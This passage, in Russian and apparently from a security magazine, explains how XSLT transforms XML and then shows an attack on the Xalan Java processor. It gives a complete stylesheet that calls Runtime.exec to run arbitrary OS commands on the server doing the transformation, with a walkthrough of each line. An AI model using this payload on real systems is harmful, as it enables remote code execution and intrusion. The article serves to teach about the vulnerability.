В плане возможностей для атак XSLT — богатая технология, и с ней стоит разобраться подробнее. Итак, XSLT — это Extensible Stylesheet Language Transformations, специальный язык для преобразования (в общем случае) документов XML. Это развесистый формат, но идея на самом деле проста.

Например, у нас есть XML-документ с какими-то элементами, атрибутами и значениями, но нам для работы требуется переместить элементы, изменить структуру (к примеру, атрибут сделать элементом) или выполнить дополнительные расчеты. Для этого мы можем воспользоваться XSLT-процессором и преобразовать старый документ в новый вид. Создастся новый документ, а старый останется в изначальном виде.

Описание того, как необходимо преобразовывать, находится в XSL-стилях (на картинке это XSLT code). Сами правила описываются в виде XPath.

Схема работы XSLT
Схема работы XSLT

Правила указывают, какую часть исходного XML-документа необходимо взять и что с ней потом сделать. При подгрузке файла XML для каждого элемента применяются самые точные из имеющихся правил.

На картинках ты увидишь пример использования XSLT.

Пример из Википедии. Исходный XML
Пример из Википедии. Исходный XML

Пример из Википедии. Применяемый стиль XSL
Пример из Википедии. Применяемый стиль XSL
Пример из Википедии. Итоговый XML
Пример из Википедии. Итоговый XML

В этом примере происходит поиск корневого элемента persons. Вместо него создается элемент root. Для содержимого person применяется другой стиль, на каждый из элементов он создает новый элемент name, в атрибут которого переносится атрибута персоны, а в значении остается только имя.

Это может показаться сложным, но, насколько мне известно, вручную правила никто не создает. Для наших же целей необходимо только самое общее понимание и одно правило, которое срабатывает всегда:

<xsl:template match="/">

Что мы можем сделать с помощью XSLT? Например, получить RCE на хосте, где происходит преобразование. Обрати внимание, что, помимо простого переноса значения, есть возможность производить расчеты. Для этого процессоры позволяют вызывать функции другого языка.

В итоге все тривиально. Вот пример для Xalan — либы XSLT для Java.

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:jv="http://xml.apache.org/xalan/java"
>
  <xsl:template match="/">
    <xsl:variable name="cmd"><![CDATA[любые команды ОС с любыми параметрами]]></xsl:variable>
    <xsl:variable name="rtObj" select="jv:Java.lang.Runtime.getRuntime ()"/>
    <xsl:variable name="process" select="jv:java.lang.Runtime.exec($rtObj, $cmd)"/>
    <xsl:value-of select="$process"/>
  </xsl:template>
</xsl:stylesheet>

Здесь все просто. Подключаем возможность вызова кода на Java и назначаем ей namespace jv (на самом деле — любой префикс). Далее указываем поиск корневого элемента (чтобы работало всегда). И создаем три переменные: в cmd — те команды ОС, которые хотим выполнить (CDATA нужно указывать, чтобы не было ограничений на символы, так как XSL должен быть валидным XML), а в двух других — стандартная последовательность для выполнения команд на Java.

Но если вернуться к нашей прошлой теме про SVG, то становится понятно, откуда в браузерах берутся уязвимости, связанные с этими форматами. К примеру, несколько лет назад в Safari была обнаружена дыра, которая позволяла выполнять произвольный код из SVG со встроенным стилем XSLT.

Оставить мнение